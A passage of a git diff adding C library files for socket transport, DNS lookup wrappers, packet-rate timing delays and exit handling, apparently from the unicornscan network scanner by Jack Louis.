GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +static struct timeval sleep_delay; +static struct timeval sleep_s_time; + +static void get_sleep(struct timeval *tv) { + gettimeofday(tv, NULL); +} + +void sleep_init_tslot(uint32_t pps) { + sleep_delay.tv_sec=0; + sleep_delay.tv_usec=1000000 / pps; +} + + +void sleep_start_tslot(void) { + get_sleep(&sleep_s_time); + return; +} + +void sleep_end_tslot(void) { + struct timeval new_time; + struct timespec s_time, rem; + time_t secs_off=0; + suseconds_t micro_off=0; + + get_sleep(&new_time); + + secs_off=new_time.tv_sec - sleep_s_time.tv_sec; + micro_off=new_time.tv_usec - sleep_s_time.tv_usec; + + if (secs_off > sleep_delay.tv_sec) { + /* WHOA this thing is SSLLOOWW */ + return; + } + + if (secs_off == 0 && micro_off > sleep_delay.tv_usec) { + struct timespec kludge, krem; + /* well do something here to make sure we lag a little bit otherwise the pps can go really high */ + kludge.tv_sec=0; + kludge.tv_nsec=1; + nanosleep((const struct timespec *)&kludge, &krem); + return; + } + + rem.tv_sec=0; rem.tv_nsec=0; + + s_time.tv_sec=sleep_delay.tv_sec - secs_off; + s_time.tv_nsec=(sleep_delay.tv_usec - micro_off) * 1000; + + do { + if (nanosleep((const struct timespec *)&s_time, &rem) != -1) break; + } while (rem.tv_sec != 0 && rem.tv_nsec != 0); + + return; +} diff --git a/src/unilib/socktrans.c b/src/unilib/socktrans.c new file mode 100644 index 0000000..31f2e02 --- /dev/null +++ b/src/unilib/socktrans.c @@ -0,0 +1,368 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include +#include /* TCP_NODELAY */ +#include + +#ifdef WITH_SELINUX +#include +#endif + +#include + +#include +#include + +static uint16_t lbind=BINDPORT_START; + +static void accept_timeout(int ); /* signal handler */ +static int accept_timedout=0; + +static int socktrans_strtosin (const char * /* uri */, struct sockaddr_in *); +static int socktrans_strtopath(const char * /* uri */, struct sockaddr_un *); + +static int socktrans_makeinetsock(int /* family */, int /* bind port */); +static int socktrans_makeunixsock(void); + +int socktrans_connect(const char *uri) { + int rsock=0; + struct sockaddr_in c_sin; + struct sockaddr_un c_sun; + + DBG(M_SCK, "creating client socket to `%s'", uri); + + if (socktrans_strtosin(uri, &c_sin) == 1) { + + if ((rsock=socktrans_makeinetsock(AF_INET, lbind)) < 0) { + return -1; + } + lbind++; + + if (connect(rsock, (struct sockaddr *)&c_sin, (socklen_t)sizeof(c_sin)) < 0) { + if (errno == ECONNREFUSED) { + usleep(s->conn_delay); + s->conn_delay *= 2; + + return -1; + } + ERR("inet connect fails: %s", strerror(errno)); + return -1; + } + } + else if (socktrans_strtopath(uri, &c_sun) == 1) { + + if ((rsock=socktrans_makeunixsock()) < 0) { + return -1; + } + + if (connect(rsock, (struct sockaddr *)&c_sun, (socklen_t)sizeof(c_sun)) < 0) { + if (errno == ECONNREFUSED) { + usleep(s->conn_delay); + s->conn_delay *= 2; + + return -1; + } + PANIC("unix connect fails: %s", strerror(errno)); + } + } + + return rsock; +} + +int socktrans_bind(const char *uri) { + int s_sock=-1; + struct sockaddr_in bsin; + struct sockaddr_un bsun; + + assert(uri != NULL); + + if (socktrans_strtosin(uri, &bsin) == 1) { + + if ((s_sock=socktrans_makeinetsock(AF_INET, 0)) < 0) { + return -1; + } + + if (bind(s_sock, (const struct sockaddr *)&bsin, (socklen_t)sizeof(bsin)) == -1) { + ERR("bind() port %u addr %s fails: %s", ntohs(bsin.sin_port), inet_ntoa(bsin.sin_addr), strerror(errno)); + return -1; + } + } + else if (socktrans_strtopath(uri, &bsun) == 1) { + struct stat sb; + + if ((s_sock=socktrans_makeunixsock()) < 0) { + return -1; + } + + if (stat(bsun.sun_path, &sb) == 0) { + DBG(M_SCK, "sun path %s", bsun.sun_path); + + unlink(bsun.sun_path); + } + + if (bind(s_sock, (const struct sockaddr *)&bsun, (socklen_t)sizeof(bsun)) == -1) { + ERR("bind() path `%s' fails: %s", bsun.sun_path, strerror(errno)); + return -1; + } + } + + return s_sock; +} + +int socktrans_accept(int bsock, int timeout) { + int cli_fd=-1; + union { + struct sockaddr_in i; + struct sockaddr_un u; + struct sockaddr sa; + } s_u; + socklen_t sin_len=0; + struct sigaction timeoutsa, sasave; + + sin_len=sizeof(s_u); + + if (listen(bsock, 1) < 0) { + ERR("listen fails: %s", strerror(errno)); + return -1; + } + + timeoutsa.sa_handler=&accept_timeout; + sigemptyset(&timeoutsa.sa_mask); + timeoutsa.sa_flags=0; + + if (sigaction(SIGALRM, &timeoutsa, &sasave) < 0) { + ERR("cant register SIGALRM timeout handler: %s", strerror(errno)); + return -1; + } + + accept_timedout=0; + + /* XXX setitimer */ + alarm(timeout); + +doover: + cli_fd=accept(bsock, &s_u.sa, &sin_len); + if (! accept_timedout && errno == EINTR && cli_fd < 0) { + DBG(M_SCK, "accept got EINTR, restarting fd is %d\n", cli_fd); + goto doover; + } + else if (accept_timedout) { + return -1; + } + + alarm(0); + + if (sigaction(SIGALRM, &sasave, NULL) < 0) { + ERR("cant restore SIGALRM handler: %s", strerror(errno)); + return -1; + } + + if (s_u.sa.sa_family == AF_UNIX) { +#if defined(WITH_SELINUX) + security_context_t peercon=NULL; + + if (getpeercon(cli_fd, &peercon) < 0) { + ERR("cant get peer security context, closing socket: %s", strerror(errno)); + return -1; + } + + /* XXX */ + DBG(M_SCK, "peer context is `%s'", peercon); + +#elif defined(SO_PEERCRED) + struct ucred ccred; + socklen_t ccred_len=sizeof(ccred); + + if (getsockopt(cli_fd, SOL_SOCKET, SO_PEERCRED, &ccred, &ccred_len) < 0) { + ERR("cant get socket cred's closing socket: %s", strerror(errno)); + return -1; + } + + /* XXX */ + DBG(M_SCK, "peer is uid %d gid %d and pid %d", ccred.uid, ccred.gid, ccred.pid); +#else +# warning WITH_SELINUX and SO_PEERCRED not defined +#endif + } + else if (s_u.sa.sa_family == AF_INET) { + ; + } + else { + ERR("unknown address family %d\n", s_u.sa.sa_family); + return -1; + } + + close(bsock); + + return cli_fd; +} + +void socktrans_close(int sock) { + if (sock > -1) close(sock); +} + +int socktrans_immediate(int isock, int flag) { + int param=0; + + if (flag) { + param=1; + } + + if (setsockopt(isock, SOL_SOCKET, TCP_NODELAY, (void *)¶m, sizeof(param)) < 0) { + ERR("cant setsockopt: TCP_NODELAY: %s", strerror(errno)); + return -1; + } + + return 1; +} + +/* static below */ + +static void accept_timeout(int signo) { + if (signo == SIGALRM) { + accept_timedout=1; + } +} + +static int socktrans_strtosin(const char *instr, struct sockaddr_in *isin) { + char host[512]; + unsigned int port=0; + struct hostent *he=NULL; + union { + char *ptr; + struct in_addr *ia; + } h_u; + + assert(instr != NULL && strlen(instr) > 0 && isin != NULL); + + CLEAR(host); + + if (sscanf(instr, "%511[a-zA-Z0-9\\-_.]:%u", host, &port) != 2) { + return -1; + } + + if (port > 0xFFFF) { + ERR("port out of range"); + return -1; + } + + he=gethostbyname(host); + if (he == NULL) { + ERR("unknown host `%s'", host); + return -1; + } + + if (he->h_length != 4) { + ERR("unknown host address format"); + return -1; + } + + isin->sin_family=AF_INET; + isin->sin_port=ntohs((uint16_t)port); + h_u.ptr=he->h_addr_list[0]; + memcpy(&isin->sin_addr.s_addr, &h_u.ia->s_addr, sizeof(isin->sin_addr.s_addr)); + + return 1; +} + +static int socktrans_strtopath(const char *uri, struct sockaddr_un *isun) { + char upath[96]; + + assert(uri != NULL && isun != NULL); + + CLEAR(upath); + + memset(isun, 0, sizeof(*isun)); + + if (sscanf(uri, "unix:%95s", upath) == 1) { + memcpy(isun->sun_path, upath, MIN((sizeof(isun->sun_path) - 1), strlen(upath))); + isun->sun_family=AF_UNIX; + + return 1; + } + + return -1; +} + +static int socktrans_makeinetsock(int family, int bport) { + int sock=-1, param=0; + struct sockaddr_in bind_sin; + + if ((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0) { + ERR("cant create inet socket: %s", strerror(errno)); + return -1; + } + + param=1; + if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *)¶m, sizeof(param)) < 0) { + ERR("cant setsockopt: setsockopt SO_REUSEADDR: %s", strerror(errno)); + return -1; + } + + param=IPC_DSIZE; + if (setsockopt(sock, SOL_SOCKET, SO_RCVBUF, (void *)¶m, sizeof(param)) < 0) { + ERR("cant setsockopt: setsockopt SO_RCVBUF: %s", strerror(errno)); + return -1; + } + + param=IPC_DSIZE; + if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (void *)¶m, sizeof(param)) < 0) { + ERR("cant setsockopt: setsockopt SO_RCVBUF: %s", strerror(errno)); + return -1; + } + + if (bport > 0) { + bind_sin.sin_port=htons((uint16_t )bport); + bind_sin.sin_family=AF_INET; + bind_sin.sin_addr.s_addr=INADDR_ANY; + + if (bind(sock, (struct sockaddr *)&bind_sin, (socklen_t)sizeof(struct sockaddr_in)) < 0) { + ERR("cant bind client connection: %s", strerror(errno)); + /* return -1; */ + } + } + + return sock; +} + +static int socktrans_makeunixsock(void) { + int sock=-1, param=0; + + if ((sock=socket(AF_UNIX, SOCK_STREAM, 0)) < 0) { + ERR("cant create unix socket: %s", strerror(errno)); + return -1; + } + + param=IPC_DSIZE; + if (setsockopt(sock, SOL_SOCKET, SO_RCVBUF, (void *)¶m, sizeof(param)) < 0) { + ERR("cant setsockopt: setsockopt SO_RCVBUF: %s", strerror(errno)); + return -1; + } + + param=IPC_DSIZE; + if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (void *)¶m, sizeof(param)) < 0) { + ERR("cant setsockopt: setsockopt SO_RCVBUF: %s", strerror(errno)); + return -1; + } + + return sock; +} diff --git a/src/unilib/socktrans.h b/src/unilib/socktrans.h new file mode 100644 index 0000000..d1a840b --- /dev/null +++ b/src/unilib/socktrans.h @@ -0,0 +1,36 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _SOCKTRANS_H +# define _SOCKTRANS_H + +/* returns socket */ +int socktrans_connect(const char * /* uri */); + +/* returns socket */ +int socktrans_bind(const char * /* uri */); + +/* returns new socket */ +int socktrans_accept(int /* bound socket */, int /* timeout in secs */); + +/* returns 1 or -1 */ +int socktrans_immediate(int /* socket */, int /* 1 no nagle, 0 nagle */); + +void socktrans_close(int /* socket */); + +#endif diff --git a/src/unilib/standard_dns.c b/src/unilib/standard_dns.c new file mode 100644 index 0000000..03d2bb8 --- /dev/null +++ b/src/unilib/standard_dns.c @@ -0,0 +1,420 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include +#include + +#include +#include +#include +#include + +#define STDDNS_MAGIC 0xed01dda6 +#define EXACT 1 +#define CHECK_WILDCARD(x) (0) + +typedef struct stddns_context_t { + uint32_t magic; + void (*fp)(int, const void *, const void *); + int flags; +} stddns_context_t; + +void *stddns_init(void (*callback)(int /* type */, const void *, const void *), int flags) { + stddns_context_t *sc=NULL; + + sc=xmalloc(sizeof(stddns_context_t)); + sc->magic=STDDNS_MAGIC; + sc->fp=callback; + sc->flags=flags; + + return (void *)sc; +} + +/* + * returns the hostname or NULL if not found + */ +char *stddns_getname(void *c, const struct sockaddr *is) { + socklen_t sl=0; + int ret=0; + static char hname[2048]; + union { + const struct sockaddr *p; + struct f_s *fs; + } is_u; + union { + stddns_context_t *c; + void *p; + } c_u; + + + if (is == NULL || c == NULL) { + return NULL; + } + + c_u.p=c; + assert(c_u.c->magic == STDDNS_MAGIC); + + is_u.p=is; + + memset(hname, 0, sizeof(hname)); + + switch (is_u.fs->family) { + case AF_INET: + sl=(socklen_t )sizeof(struct sockaddr_in); + break; + + case AF_INET6: + sl=(socklen_t )sizeof(struct sockaddr_in6); + break; + + default: + break; + } + + ret=getnameinfo(is, sl, hname, sizeof(hname), NULL /* service */, 0, NI_NAMEREQD); + + if (ret == 0) { + if (strlen(hname) > 0) { + return hname; + } + ERR("whoa, no name?"); + return NULL; + } + +#ifdef EAI_NODATA + if (ret != EAI_NONAME && ret != EAI_NODATA) { +#else + if (ret != EAI_NONAME) { +#endif + ERR("getnameinfo fails: %s [%d]", gai_strerror(ret), ret); + } + + return NULL; +} + +/* + * returns 0 if nothing found + */ +int stddns_getname_cb(void *c, const struct sockaddr *is) { + socklen_t sl=0; + static char hname[2048]; + union { + const struct sockaddr *p; + struct f_s *fs; + } s_u; + union { + void *p; + stddns_context_t *c; + } c_u; + int ret=0; + + if (is == NULL || c == NULL) { + return -1; + } + c_u.p=c; + + assert(c_u.c->magic == STDDNS_MAGIC); + assert(c_u.c->fp != NULL); + + s_u.p=is; + + memset(hname, 0, sizeof(hname)); + + switch (s_u.fs->family) { + case AF_INET: + sl=(socklen_t )sizeof(struct sockaddr_in); + break; + + case AF_INET6: + sl=(socklen_t )sizeof(struct sockaddr_in6); + break; + + default: + ERR("Unknown address family %d", s_u.fs->family); + return 0; + } + + ret=getnameinfo(is, sl, hname, sizeof(hname), NULL /* service */, 0, NI_NAMEREQD); + + if (ret == 0) { + if (strlen(hname) > 0) { + c_u.c->fp(OUTPUT_REVERSE, (const void *)is, (const void *)hname); + return 1; + } + ERR("whoa, no name?"); + return 0; + } + +#ifdef EAI_NODATA + if (ret != EAI_NONAME && ret != EAI_NODATA) { +#else + if (ret != EAI_NONAME) { +#endif + ERR("getnameinfo fails: %s [%d]", gai_strerror(ret), ret); + } + + return 0; +} + +/* + */ +sockaddr_list_t **stddns_getaddr(void *c, const char *name) { + struct addrinfo *ret=NULL, *walk=NULL; + struct addrinfo hint; + int iret=0; + unsigned int cnt=0, idx=0; + union { + struct sockaddr *p; + struct sockaddr_in *sin; + struct sockaddr_in6 *s6in; + } s_u, s2_u; + union { + void *p; + stddns_context_t *c; + } c_u; + sockaddr_list_t **sl=NULL; + char *sstring=NULL, *ename=NULL; + + if (name == NULL || c == NULL) { + return NULL; + } + + c_u.p=c; + + assert(c_u.c->magic == STDDNS_MAGIC); + + memset(&hint, 0, sizeof(hint)); + + hint.ai_family=PF_UNSPEC; + if (s->ipv4_lookup != s->ipv6_lookup) { + if (s->ipv4_lookup == 1 && s->ipv6_lookup == 0) { + hint.ai_family=AF_INET; + } + else { + hint.ai_family=AF_INET6; + } + } + + if (EXACT) { + hint.ai_flags=AI_CANONNAME; + } + + if (name == NULL || strlen(name) < 1) { + return NULL; + } + + if ((iret=getaddrinfo(name, NULL, &hint, &ret)) != 0) { +#ifdef EAI_NODATA + if (iret != EAI_NONAME && iret != EAI_NODATA) { +#else + if (iret != EAI_NONAME) { +#endif + ERR("getaddrinfo errors for name `%s': %s", name, gai_strerror(iret)); + } + DBG(M_DNS, "getaddrinfo fails for %s", name); + return NULL; + } + + for (walk=ret; walk != NULL; walk=walk->ai_next) { + cnt++; + assert(cnt < 9999); + } + DBG(M_DNS, "got %u awnsers for %s", cnt, name); + + cnt++; + + sl=(sockaddr_list_t **)xmalloc(sizeof(sockaddr_list_t *) * cnt); + + for (idx=0, walk=ret; walk != NULL; walk=walk->ai_next, idx++) { + + sl[idx]=(sockaddr_list_t *)xmalloc(sizeof(sockaddr_list_t)); + + memset(&sl[idx]->s_u.s, 0, sizeof(struct sockaddr)); + + s_u.p=&sl[idx]->s_u.s; + s2_u.p=walk->ai_addr; + + /* XXX we dont get all the cnames this way */ + sstring=cidr_saddrstr(walk->ai_addr); + DBG(M_DNS, "index %u for name `%s' ai_flags %d ai_family %d ai_socktype %d ai_protocol %d ai_addrlen %zu ai_addr %p (%s) ai_canonname %s ai_next %p", idx, name, walk->ai_flags, walk->ai_family, walk->ai_socktype, walk->ai_protocol, walk->ai_addrlen, walk->ai_addr, sstring != NULL ? sstring : "Nothing", walk->ai_canonname != NULL ? walk->ai_canonname : "Null", walk->ai_next); + + if (ename == NULL && EXACT && walk->ai_canonname != NULL) { + ename=walk->ai_canonname; + DBG(M_DNS, "setting ename to `%s' from `%s'", ename, name); + } + + switch (walk->ai_family) { + case AF_INET: + s_u.sin->sin_addr.s_addr=s2_u.sin->sin_addr.s_addr; + s_u.sin->sin_family=walk->ai_family; + break; + + case AF_INET6: + memcpy(&s_u.s6in->sin6_addr.s6_addr[0], &s2_u.s6in->sin6_addr.s6_addr[0], (128 / 8)); + s_u.s6in->sin6_family=walk->ai_family; + break; + + default: + ERR("unknown address family %d", walk->ai_family); + break; + } + if (ename != NULL) { + sl[idx]->ename=xstrdup(ename); + } + } + + sl[idx]=NULL; + + if (ret != NULL) { + freeaddrinfo(ret); + } + + return sl; +} + +/* + */ +int stddns_getaddr_cb(void *c, const char *name) { + struct addrinfo *ret=NULL, *walk=NULL; + struct addrinfo hint; + int iret=0; + unsigned int idx=0; + char *sstring=NULL, *ename=NULL; + union { + void *p; + stddns_context_t *c; + } c_u; + + if (name == NULL || c == NULL) { + return -1; + } + + c_u.p=c; + + assert(c_u.c->magic == STDDNS_MAGIC); + assert(c_u.c->fp != NULL); + + memset(&hint, 0, sizeof(hint)); + + if (s->ipv4_lookup != s->ipv6_lookup) { + if (s->ipv4_lookup == 1 && s->ipv6_lookup == 0) { + hint.ai_family=AF_INET; + } + else { + hint.ai_family=AF_INET6; + } + } + + if (EXACT) { + hint.ai_flags=AI_CANONNAME; + } + + if (name == NULL || strlen(name) < 1) { + return 0; + } + + if ((iret=getaddrinfo(name, NULL, &hint, &ret)) != 0) { +#ifdef EAI_NODATA + if (iret != EAI_NONAME && iret != EAI_NODATA) { +#else + if (iret != EAI_NONAME) { +#endif + ERR("getaddrinfo errors for name `%s': %s", name, gai_strerror(iret)); + } + DBG(M_DNS, "getaddrinfo fails for %s", name); + return 0; + } + + for (idx=0, walk=ret; walk != NULL; walk=walk->ai_next, idx++) { + + /* XXX we dont get all the cnames this way */ + sstring=cidr_saddrstr(walk->ai_addr); + DBG(M_DNS, "index %u for name `%s' ai_flags %d ai_family %d ai_socktype %d ai_protocol %d ai_addrlen %zu ai_addr %p (%s) ai_canonname %s ai_next %p", idx, name, walk->ai_flags, walk->ai_family, walk->ai_socktype, walk->ai_protocol, walk->ai_addrlen, walk->ai_addr, sstring != NULL ? sstring : "Nothing", walk->ai_canonname != NULL ? walk->ai_canonname : "Null", walk->ai_next); + + if (ename == NULL && EXACT == 1 && walk->ai_canonname != NULL) { + + ename=xstrdup(walk->ai_canonname); + DBG(M_DNS, "setting ename to `%s' from `%s'", ename, name); + + /* + * this is a little weird, we need to check that we arent + * blabbering on about cnames for wildcard hosts, so we will + * manually check this fact + */ + if (CHECK_WILDCARD(walk->ai_addr) == 1) { + continue; + } + c_u.c->fp(OUTPUT_ALIAS, name, ename); + } + + c_u.c->fp(OUTPUT_FORWARD, ename != NULL ? ename : name, walk->ai_addr); + } + + if (ret != NULL) { + freeaddrinfo(ret); + } + + return 1; +} + +void stddns_freeaddr(void *c, struct sockaddr_list_t ***in) { + unsigned int j=0; + union { + void *p; + stddns_context_t *c; + } c_u; + + assert(in != NULL && c != NULL); + + c_u.p=c; + + assert(c_u.c->magic == STDDNS_MAGIC); + + for (j=0; (*in)[j] != NULL; j++) { + if ((*in)[j]->ename != NULL) { + DBG(M_DNS, "free %p", (*in)[j]->ename); + xfree((*in)[j]->ename); + (*in)[j]->ename=NULL; + } + xfree((*in)[j]); + } + + xfree(*in); + *in=NULL; + + return; +} + +void stddns_fini(void **p) { + union { + void *p; + stddns_context_t *c; + } c_u; + + c_u.p=*p; + + if (p == NULL || *p == NULL) { + return; + } + + assert(c_u.c->magic == STDDNS_MAGIC); + xfree(*p); + *p=NULL; + + return; +} diff --git a/src/unilib/standard_dns.h b/src/unilib/standard_dns.h new file mode 100644 index 0000000..22b90bf --- /dev/null +++ b/src/unilib/standard_dns.h @@ -0,0 +1,78 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _STANDARD_DNS_H +# define _STANDARD_DNS_H + +typedef struct sockaddr_list_t { + union { + struct f_s fs; + struct sockaddr s; + struct sockaddr_in sin; + struct sockaddr_in6 sin6; + } s_u; + char *ename; +} sockaddr_list_t; + +#define OUTPUT_REVERSE 1 +#define OUTPUT_FORWARD 2 +#define OUTPUT_ALIAS 3 + +/* + * returns context or NULL on failure + * callback may be NULL, but take care not to call any of the *_cb functions + * callback is a function that: + * first argument is type "type" of data being sent to the callback, + * and the 2 following arguments are the subject and result respectively + */ +extern void *stddns_init(void (* /* callback */)(int, const void *, const void *), int /* flags */); + +#define STDDNS_FLG_IPV4 1 +#define STDDNS_FLG_IPV6 2 +#define STDDNS_FLG_EXACT 4 + +#define STDDNS_FLG_ALL 7 + +/* + * returns the hostname or NULL if not found + */ +extern char *stddns_getname(void * /* context */, const struct sockaddr *); + +/* + * returns 0 if nothing matched + */ +int stddns_getname_cb(void * /* context */, const struct sockaddr *); + +/* + * writes the address family and struct sockaddr * for name, + * returns 1 for sucess or something else on failure + */ +sockaddr_list_t **stddns_getaddr(void * /* context */, const char *); + +/* + * returns 0 if nothing matched + */ +int stddns_getaddr_cb(void * /* context */, const char *); + +/* + */ +void stddns_freeaddr(void * /* context */, struct sockaddr_list_t ***); + +extern void stddns_fini(void ** /* pointer to context */); + +#endif diff --git a/src/unilib/terminate.c b/src/unilib/terminate.c new file mode 100644 index 0000000..c272123 --- /dev/null +++ b/src/unilib/terminate.c @@ -0,0 +1,61 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#include +#include +#include + +void terminate(const char *msg, ...) { + va_list ap; + char msgbuf[2048]; + + if (ident_name_ptr == NULL) ident_name_ptr="Unknown"; + + CLEAR(msgbuf); + va_start(ap, msg); + vsnprintf(msgbuf, sizeof(msgbuf) -1, msg, ap); + + if (errno) { + fprintf(s->_stderr, "%s exiting %s: system error %s\n", ident_name_ptr, msgbuf, strerror(errno)); + } + else { + fprintf(s->_stderr, "%s exiting %s\n", ident_name_ptr, msgbuf); + } + + if (s->forked) { + fflush(NULL); + _exit(1); + } + else { + exit(1); + } +} + +void uexit(int status) { + + if (s->forked) { + _exit(status); + } + + exit(status); +} diff --git a/src/unilib/terminate.h b/src/unilib/terminate.h new file mode 100644 index 0000000..dbbde44 --- /dev/null +++ b/src/unilib/terminate.h @@ -0,0 +1,31 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _TERMINATE_H +# define _TERMINATE_H + +/* + */ + +void terminate(const char *fmt, ...) _PRINTF12NR_; + +/* + */ +void uexit(int status) _NORETURN_; + +#endif /* _TERMINATE_H */ diff --git a/src/unilib/tsc.c b/src/unilib/tsc.c new file mode 100644 index 0000000..2442270 --- /dev/null +++ b/src/unilib/tsc.c @@ -0,0 +1,190 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#if defined(__i386__) || defined(__x86_64__) + +#define tsc_t uint64_t + +int tsc_supported(void) { + /* XXX check cpu at runtime */ + return 1; +} + +inline tsc_t get_tsc(void) { + tsc_t j; + asm volatile ( "pause\n" + "nop\n" + "rdtsc" : "=A" (j)); + return j; +} + +#elif defined(__powerpc__) || defined(__ppc__) + +#define tsc_t uint64_t + +int tsc_supported(void) { + /* XXX check cpu at runtime */ + return 1; +} + + /* + * 64 bit idea taken from kernel/cycle.h from fftw-3.0.1 + * by Matteo Frigo + */ + +inline tsc_t get_tsc(void) { + uint32_t tbl, tbu0, tbu1; + + asm volatile("nop"); + + do { + asm volatile ("mftbu %0" : "=r" (tbu0)); + asm volatile ("mftb %0" : "=r" (tbl) ); + asm volatile ("mftbu %0" : "=r" (tbu1)); + } while (tbu0 != tbu1); + + return (((tsc_t)tbu0) << 32) | tbl; +} + +#elif defined(__sparc_v9__) + +#define tsc_t uint32_t /* shrug */ + +int tsc_supported(void) { + /* XXX check cpu at runtime */ + return 1; +} + +inline tsc_t get_tsc(void) { + tsc_t j; + + asm volatile ( + "nop\n" + "rd %%tick, %0" + : "=r" (j) + ); + + return j; +} + +#elif defined(__hppa__) /* this should be set on linux */ + +#define tsc_t uint32_t + +int tsc_supported(void) { + /* XXX check cpu at runtime */ + return 1; +} + +inline tsc_t get_tsc(void) { + uint32_t j; + + /* + * cr16 is the system interval timer and should be readable from + * any privledge level + */ + + asm volatile( + "nop\n" + "mfctl 16, %0" /* move from control register 16 */ + : "=r" (j) + ); + + return j; +} + +#if 0 +/* #elif defined(__mips__) */ + +#define tsc_t int + +/* illegal instruction on my test box */ + +inline tsc_t get_tsc(void) { + volatile tsc_t ret=0; + + /* read coprocessor register 9 (count/timer) */ + asm volatile ( + "mfc0 %0, $9\n" + "nop\n" + : "=r" (ret) + ); + + return ret; +} + +/* #endif */ +#endif + +#else + +#define tsc_t uint32_t /* shrug */ + +int tsc_supported(void) { + return 0; +} + +inline tsc_t get_tsc(void) { + PANIC("Your CPU is not supported by the `tsc' delay, use -d2 or -d3 or edit your config file to use gtod or sleep"); +} + +#endif + +static tsc_t tsc_delay=0; +static tsc_t tsc_s_time=0; + +void tsc_init_tslot(uint32_t pps) { + tsc_t start=0, end=0, cps=0; + struct timespec s_time, rem; + + rem.tv_sec=0; rem.tv_nsec=0; + s_time.tv_sec=0; s_time.tv_nsec=100000001; + + start=get_tsc(); + + do { + if (nanosleep((const struct timespec *)&s_time, &rem) != -1) break; + } while (rem.tv_sec != 0 && rem.tv_nsec != 0); + + end=get_tsc(); + + cps=(end - start) * 10; + + tsc_delay=(cps / pps); +} + + +void tsc_start_tslot(void) { + tsc_s_time=get_tsc(); + return; +} + +void tsc_end_tslot(void) { + while (1) { + if ((get_tsc() - tsc_s_time) >= tsc_delay) { + break; + } + } + tsc_s_time=0; + return; +} diff --git a/src/unilib/xdelay.c b/src/unilib/xdelay.c new file mode 100644 index 0000000..f2af760 --- /dev/null +++ b/src/unilib/xdelay.c @@ -0,0 +1,145 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General 